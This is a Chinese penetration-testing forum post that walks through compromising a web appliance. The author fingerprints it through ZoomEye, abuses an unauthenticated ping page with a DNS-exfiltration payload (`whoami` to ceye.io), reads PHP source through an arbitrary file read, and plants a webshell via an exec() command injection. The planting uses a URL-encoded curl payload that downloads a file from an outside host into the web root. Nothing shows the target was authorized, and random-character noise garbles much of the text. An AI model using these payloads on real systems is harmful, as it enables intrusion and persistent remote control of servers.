中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
) U% {5 {2 O* [; d$ L; Q+ l( N+ [; l
** **寻找突破口**
1 w* g' i% I% r, m5 }
" Q; d' _) w1 Z8 j& b
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
" N) J# v( i, d6 K" ]; t
7 f, n' I- h E3 Z2 C, j0 ~

! O$ n0 p: o7 G. I& i- q
0 X) `) G& ~9 j
% P2 x( R8 c5 z! p9 X. _
9 c9 ~0 G3 j3 Z f- b; \& Y
**发现reporter和[Technology,
- l( r# j0 V& S) l. [* A
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
1 P a& \1 V3 Q# u9 p4 ?
* ^; F5 p/ j8 v2 i/ h, Q$ M( g
**地址为:**
& m3 j1 D; P8 }* z3 E' s& z' c
1 A" W& D2 s1 z+ p7 G8 ~- ^; p2 ]
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
" T4 `2 p. j. X( N3 N
9 h' M. l5 o( |: ]0 ]# p8 o

+ C# ^/ H; B+ E) q
* q/ N: w5 S! | h
4 R/ k( ]" W) l o
2 I9 c2 I8 x- r; Q; n. E, y& h: d: Z% x
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
8 d; k5 {: w$ p) k' _6 [ m
0 P8 i. N; d9 u5 O/ _" B
**`whoami`.1111.ceye.io** **,如图:**
; W* B6 p- B* P) T
& s. @$ T# ]& l9 ]& _0 F

$ a" a) ~2 A9 ]' m
3 Q$ l- T. _0 w* ^6 c+ W
/ K o" {, V; w% S' K( a: |
# {; g' Y/ p1 u
**返回dns记录如图:**
" k. J8 V/ u* f; o: Z
% d6 ~3 X0 _% E' z

6 w8 w. ~$ K8 S# ~4 R" u) k
1 t3 ]* u$ x8 Y! k
, n+ _! ?, y3 y3 ^) T, Q
; M7 }7 Y/ r) o: K# N A
**发现当前用户权限为root**
$ E* N/ S( S( G, o
T1 I# U, {( \0 F( U$ _! M
**一、
9 W a |; m; Z
** **通过漏洞组合getwebshell**
2 Z7 I4 H4 L6 O
0 @+ |5 S/ j# y% v$ S: z7 S; M! ]3 F1 Y
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
5 n O1 U# m0 {6 \0 u9 g& V+ c' ]
5 d) c9 f! F: O @' Q

: U9 v }. f) t( z
: f! W' |- B+ _, C0 z' F; B
+ r# g. B; Q2 @; a& l
( F+ l# r6 w- T5 F) D7 F
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
$ i. r9 J3 u& h/ y( Z6 ~) N+ R
! B7 a9 U$ n4 w
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
" Q& e K* G; @9 f W6 {" o
4 e# L/ d1 k! T' i

{$ d" g3 W. h' h
+ |0 X3 K: d. z! B" K2 d5 l. g$ E
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
7 t1 c3 @ W9 _1 A/ c0 a% p
+ ^: ]7 V% E \) P! k7 l& ~8 M
\
5 o1 v$ _" L8 g2 Y" I7 ~
9 I. L2 k) R1 v4 f
# x9 d0 C2 J S3 `; G6 e9 C- E/ t: r4 S
**源代码为:**
4 |7 O w3 s( P1 Y. d9 p
7 j& g6 i, y: H7 l0 ]
<?php
* `' x, G1 u2 }+ e. Y0 ^
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
3 z/ j3 m9 R: I
?>
7 ?( i" F, k% C, {: J/ M$ U+ t
0 Q Z9 {& |2 g B
<?php
! ^' i$ _% k$ i: q5 q1 K" y' i
0 ^: z3 q2 y0 y: G" n w
. K$ i9 [* H8 t
5 _8 O& \8 }4 C5 v% H
session_start ();
8 v6 a, m8 x$ D+ w; j
$ ]" J+ Z( d3 a
1 k7 w8 W: w" g+ n$ s0 K4 y1 b w
' t2 n& ]6 d) B7 u
1 ^" n$ y! v% d% ]# S' a% ~- H( R
, c+ P3 o2 }9 x5 P( L7 a
: s1 a. {: l! w
, s* [9 T( B% J) V" a- Z
if ($_GET ["objClass"] == "")
0 d* ~( H' o7 U4 R" Z' _
J6 j, P; o' I
6 w" B6 V" |- G. T
' @% `* x8 i0 T/ \9 x. L
exit ();
- \8 o+ q& w. b6 c9 H. x6 l
0 I( j b5 ^8 H( b; u6 g
* p; Y' s/ o8 m% f
; U8 r. k2 ^# z2 [6 U" s
$param = $_REQUEST;
, g, v& K& N9 I/ g
& W8 P4 q- C5 Q
7 w- C# P- c1 N$ D* V+ V |
; |5 i& X+ x5 X4 B4 m$ m" u
5 W) s' E- e7 ?! I
3 Q+ U! |) u( {* u+ u5 t
! l. o+ m) F. }4 R4 V
* |) Z8 [% R9 d' g
//echo "\n--------------------------\n";
7 i8 f0 T+ ~' |4 y6 Y y
9 X& Y/ W( P1 }- X6 R N* i
3 g6 I8 {& E. K# |
- h, D, D. x1 y" a/ f; r
//print_r($param);
( p: J* ]2 U+ k. ]; X; j
4 o5 ^2 n& z$ j7 p4 c! N
" M: D' Y* y: M/ e
4 G' L+ M4 |* ~: y; r# n# q
//echo "\n--------------------------\n";
6 Q) C0 t3 Z6 Z& T1 Z
# L0 o5 u( q( r" {5 J' @6 h9 B
2 @: q7 b/ C8 b" k1 ?/ T
' k& C' m7 n8 I/ b4 D
[if ($_GET ["method"] ==
& q( A) o' t; b ^9 {4 x! u) t
"getList" || $_GET ["method"] == "import" ||
+ \% n! w7 N* I
$_GET ["method"] == "processAlarm") ](){
$ J, b! i! f# a; ~/ c
) B. a5 I) C' f' A" N1 x6 q
% t( H" S3 S$ `' i
. c- I' Q' K3 j3 B5 N- n! c3 z
$param
' W" F3 B' ^/ b/ H% R; r/ M
["user"] = $_SESSION ["s_userName"];
4 i2 }% [% v* |
5 G' s* s. s* a0 }/ q: K$ l2 ~! Q9 V
( t# m! N. D) _% A% W4 x
, G8 y2 X6 ]" I! J! ^" n2 x# V7 o: t
$param
W7 k) J. D$ o6 g0 I; ~& j
["lan"] = $_SESSION ["lan"];
6 X6 H# w" I* C' g) T
; F J H2 U7 Q! d; a; V1 B
6 G; q# }- R/ |9 r. \) @2 V
- p% _& S# I: g1 S, m. M) u- Y
$param
' t9 R! |1 ?* L0 q; s2 Q
["regUserpath"] = $_SESSION ["regUserpath"];
9 D6 m. e% ~$ }
9 O" b1 E( U' u
* R x1 @! F1 c) D9 ^
6 [) c: {0 ]( J) J! s3 g4 K
1 U+ _- I- a0 I
+ L+ m7 Y0 L! s# D* o- C$ P# ?8 Q
" ^7 W$ j& g0 p4 r; ?/ P6 F
9 ^: t, I/ F& y% q' B) a" F
exec (
, N- `3 E- v* l3 v) ~/ S3 K s
"rm -rf /tmp/cache" );
! e9 y- |* C$ j6 N
9 z2 D* @5 @. p( P
+ h6 V9 @9 r4 e' n; D" v: V; H0 Q. t
' X2 w8 i$ z4 y' {. m2 e1 ^
[$cmd = "/usr/local/php/bin/php ".$_SERVER
1 A P" Y3 d, f* N/ e% M! u
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
" I7 n/ S& m( B& [# ^) O8 q
8 o' H' j" J2 y" Q' x
3 W- X8 m& g- f( f
: F9 N, A& O$ ^4 {" X
$cmd .=
/ `9 H1 }3 ^( z0 {6 j# Y
" " . $_GET ["objClass"];
N8 L# D2 ~& s$ R% S4 V( P
% F; R; G2 ]/ c- t
) k3 d3 H! N* L
# H( E- T* B T
$cmd .=
7 e+ z9 G4 j( I
" " . $_GET ["method"];
- a! @8 D; f4 p3 f7 H6 @
: I/ O3 R* K# \1 z; H1 ]
* ~! j7 ~: }$ M% @% J; ~' `
/ |0 j5 ]" v2 E K
$cmd .=
) r) N3 r. K7 o( ]4 l
" " . base64_encode ( json_encode ( $param ) );
. ~! R* d4 b8 b+ K b# q7 p' [
S' Y' ~. g- u7 X! L l
/ Q8 `0 x9 w) t. F' T- a$ n9 x" ~+ p
. e3 |* H% c \ i+ o) I" _
[file_put_contents("/tmp/query_cmd",$cmd);]()
' e. G- k; u; s$ w" c
8 O5 n/ C N( ` l
y' G; ~3 L/ g: [9 _( v0 x
+ H* V3 q0 v4 `& }% c$ q- }* s
exec ( $cmd . "
( C7 P$ u5 Y. K/ [1 ]! ?4 I. F9 ^
> /dev/null &" );
+ @1 Q1 G7 T( u( F* @
% G: Q8 N1 a* z) w9 Z. M* X! X) n
" [, b8 ?. f# h; ^5 G
/ x) L0 { h2 _. }! ~9 B( y- f
2 y& v% e% F" H
! S. e* d d0 p9 M3 y
} else {
5 ^: B) @# W' Q9 V( `2 o3 G
, M/ O3 \9 I$ D! L+ v- I
$ o0 M( G6 W: @1 G) o$ U' [) G
8 n/ l- f& f/ N6 e3 M0 H$ E, y* V
require_once
! X/ L. O% o! Y! g$ S
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
/ ` Q; T0 O3 Y1 Q" G
: @0 ^1 U4 r0 L/ p: ?# y4 O) x
( g6 ~- d7 V m, B5 ^& [2 K
6 R/ h3 I ]0 r& d! a8 W
$obj = new
. K1 c) j0 M" ]; W+ H( K6 X5 M
QueryInterface ();
0 ?% Z' b% d) M% i+ m+ A# U
, }! z7 j3 h! ~9 {7 i; [
, f: Y7 Z1 _) h5 a) @5 ^
/ v7 l0 I6 b3 p$ S. W/ S/ P6 \3 g
$instance =
3 D7 @: m. d7 k" O# O" A- x8 p
$obj->getInstance ();
4 f. _8 r) ?" M* |% q3 Z, L
' z6 J+ ]; ] D6 e
& }6 L- C5 A" d* H
5 `) [" e; F+ I9 O5 L+ W
$instance->invokeMethod
% C3 @/ N$ Z( x9 r2 t# T, z; j
( $_GET ["objClass"], $_GET ["method"], $param );
/ Z2 x; Q9 _ |. X; f- z
! }3 c0 d7 o7 `
) y% m9 B* U' t3 r
9 O* m. K( V& A3 }) r R2 T
}
- Z5 r) j& D3 |
3 _, L# T# |1 H% }
8 z! p. X4 d6 _1 M9 K
5 B( F1 k, Z" `5 @* \3 z
exit ();
. s9 M6 k$ F: {- Q8 W8 q5 t
- U5 M" H* v# D* m* d2 W# l9 l
) n o$ Q. [. C. N0 J' j
/ q- L1 b) @# M
?>
9 g: O/ ~+ R( L2 a$ m
6 D+ U7 F# b* n# U$ y% e' b4 p
**经常简单审计发现if ($_GET
: H2 O5 R, D h. Q* T( H
["method"] == "getList" || $_GET ["method"] ==
8 W6 \0 r; K/ Z; S$ ^$ i; i# x( `
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
' H% }& v. ]: |' P1 V& n
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
) D! s6 [1 i. F6 N3 Z
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
8 ~5 x3 N+ b$ |6 Z& i5 D
7 c$ k# | O2 }9 s" x1 G( ^
** exec ( $cmd
. Y' a! P/ J' n- o7 ]8 e
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
- D3 F$ e# X- f# d0 L! ]
3 c2 M! r$ |" Y. k' t) `+ D; N8 J6 T
a* R1 D4 a2 z W3 r& ~

0 k/ G( ]6 f( U' c; _/ U, d/ m
. B- L) ]( A& t5 t7 f
8 p" w& C4 H' c1 T; |5 t0 O8 J, a
+ @; B C$ c' |4 o. d! S
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
! M+ h0 r1 M. n. z5 n/ L; C
! m% l' ^1 j5 o2 r9 P" x
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
& C$ e+ `9 K- e/ r
) Z$ p7 w9 r* R$ W Q6 o$ W! h, ~1 k* U
**我们用url解码如下:**
8 {6 E! m2 n; B- P6 O3 K' K& A# n# E
6 ?0 ~$ l/ A& W* I
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
# A3 k8 d! j& S* V4 r" S2 n
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
7 F# |# Q6 l' z% W. Y- P4 \( c
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
7 Y/ l& e8 I: z2 f- ?% B/ `
* n* E$ ?, m) S
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
) j/ @( H$ D+ U
5 a+ X) L3 C! t% w
3 P/ h/ l4 I* J, E6 n9 V

/ q% R9 W2 s2 C- o3 Z- ?
& Y% j/ C% {8 f: K7 c* D
4 J0 O" k7 ]7 X* q" F
' Q1 R* y* L+ ?3 ^0 h
8 V% ^% L# O% D
**三、总结**
( |* S6 Z9 w, j
4 {! k, E u Z' C8 Y- s% E- {
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
6 R- P S1 n' q4 }! Q" Y
- L. m7 P( a7 {% k
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
) q0 }/ s, z5 `2 c! t; V
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2